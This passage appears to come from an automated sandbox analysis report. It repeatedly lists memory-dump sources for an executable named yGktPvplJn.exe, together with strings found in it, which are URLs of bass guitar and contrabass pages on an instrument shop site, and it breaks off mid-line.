Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-bacchus_twenty-four_alder05_fodera_circuit%20.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-bass_no0_fender_jazz_bass_black_60-62.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-contrabass.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-f_c_precision_b_masterbuilt_by_dennis_galuszka08_n-r_jpj.htm
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-f_jaco_pastoriuss_b_Jazz_bass_relic_fl_m_john_cruz2011.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-fender_japan_70s_precision_bass.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-fender_japan_bass_v1_car_2012.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-fender_jazz_bass62_sb-r.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-fender_jazz_bass71_sb-r%C2%A0.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-fender_precision_bass62_sb-r.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-fender_precision_bass71_nt-m-jj.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://baijaku.com/instruments-detail/b-fodera_emperor2_5strings_custom15.html
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 